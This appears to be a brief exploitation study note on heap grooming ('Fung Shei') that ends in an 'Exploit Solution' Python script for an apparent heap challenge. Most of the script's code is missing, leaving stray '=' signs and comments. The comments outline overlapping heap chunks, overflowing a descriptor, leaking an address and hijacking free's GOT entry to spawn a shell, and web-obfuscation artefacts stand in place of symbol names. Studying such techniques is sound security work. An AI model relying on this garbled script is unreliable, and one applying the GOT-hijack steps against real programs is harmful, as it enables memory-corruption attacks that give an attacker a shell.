Link to this headingHeap Grooming
These Techniques are used to make a Heap Exploit more reliable.
Link to this headingFung Shei
By Mallocing many objects this makes a huge block of allocated memory.
Then by selectively deallocating objects that were allocated this creates specific unallocated memory locations that are near to other consolable objects.
Exploit Solution:
#!/usr/bin/env python
=
=
=
=
#r = remote(HOST, PORT)
=
# user[2], desc = "sh\x00" (for later's GOT hijacking)
# now user[4]'s desc is user[0]'s desc (in previous)
# user[4]->desc + 0x2c8 = user[4], which means we can overflow user[4]->desc & overwrite user[1]->desc to [email protected]
# leak address
+= -
=
# change user[1]->desc into [email protected]
# hijack free's got, then free user[2] to get shell